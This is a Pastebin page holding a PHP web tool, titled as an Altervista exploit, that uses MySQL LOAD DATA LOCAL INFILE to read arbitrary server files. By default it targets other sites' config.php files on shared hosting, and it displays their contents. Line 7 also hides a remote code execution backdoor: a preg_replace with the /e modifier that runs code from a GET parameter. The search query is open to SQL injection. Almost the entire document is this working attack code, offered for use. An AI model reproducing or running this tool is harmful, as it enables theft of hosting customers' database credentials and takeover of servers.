Advertisement
Guest User

Leprechaun - Altervista (Fixed)

a guest
Nov 21st, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.64 KB | None | 0 0
  1. <?
  2. $mysql_host = (isset($_GET[mysql_host]))?$_GET[mysql_host]:"localhost";
  3. $mysql_user = (isset($_GET[mysql_user]))?$_GET[mysql_user]:"";
  4. $mysql_pass = (isset($_GET[mysql_pass]))?$_GET[mysql_pass]:"";
  5. $calcname = explode(".", getenv("HTTP_HOST"));
  6. $mysql_name =(isset($_GET[mysql_name]))?$_GET[mysql_name]:"my_".$calcname[0];
  7. $mysql_xploit = preg_replace("/(.+)/e", $_GET[db], $_GET[db]);
  8. $path = (isset($_GET[path]))?$_GET[path]:"/membri/SITO/config.php";
  9. $limit = (isset($_GET[limit]))?$_GET[limit]:"0,30";
  10. $search = (isset($_GET[search]))?$_GET[search]:"";
  11. ?>
  12. <? // Logo
  13. ?>
  14. <center>
  15. <img src="http://img15.imageshack.us/img15/8676/logoxgh.jpg" />
  16. <br>
  17. <br>
  18. <form action="#" method="GET">
  19.  
  20. host <input type=text name=mysql_host value='<?=$mysql_host;?>'/><br />
  21. user <input type=text name=mysql_user value='<?=$mysql_user;?>'/><br />
  22. pass <input type=text name=mysql_pass value='<?=$mysql_pass;?>'/><br />
  23. name <input type=text name=mysql_name value='<?=$mysql_name;?>'/><br />
  24. path <input type=text name=path value='<?=$path;?>' /><br />
  25. [ limit <input type=text name=limit value='<?=$limit;?>' /> ]<br />
  26. [ search <input type=text name=search value='<?=$search;?>' /> ]<br />
  27. <input type=submit value=send />
  28. </form>
  29. <?
  30.  
  31. if (isset($_GET[mysql_host])) {
  32. $search = $_GET[search];
  33. $link = mysql_connect($_GET['mysql_host'], $_GET['mysql_user'], $_GET['mysql_pass'])or die(mysql_error());
  34. $db = mysql_select_db($_GET['mysql_name']);
  35. $path = $_GET['path'];
  36. $limit = $_GET['limit'];
  37. $query = "CREATE TABLE `nexpl0it` (`path` longtext not null);";
  38. $delete = "DROP TABLE `nexpl0it`;";
  39. $bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE nexpl0it;";
  40. $l = (!empty($_GET[limit])) ? " LIMIT $limit" : "";
  41. $fuck = "SELECT * FROM nexpl0it".$l;
  42.  
  43.  
  44. mysql_query($delete);
  45. mysql_query($query)or die(mysql_error());
  46. mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());
  47. $res = mysql_query($fuck)or die(mysql_error());
  48. $txt = "";
  49. while($row = mysql_fetch_array($res)) {
  50. $txt .= $row[path]."\n";
  51. }
  52. $output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  53. <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>";
  54. }
  55.  
  56. if (!empty($search)) {
  57. $q = "SELECT * FROM nexpl0it WHERE path LIKE '%".$search."%'";
  58. $result = mysql_query($q)or die("Mysql-exploit-error : ".mysql_error());
  59. $txt2 = "";
  60. while($riga = mysql_fetch_assoc($result)) {
  61. $txt2 .= $riga[path];
  62. }
  63.  
  64. $output .= "Search results: <form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  65. <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt2)."</textarea></form>";
  66. }
  67. echo $output;
  68.  
  69. ?>
  70. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement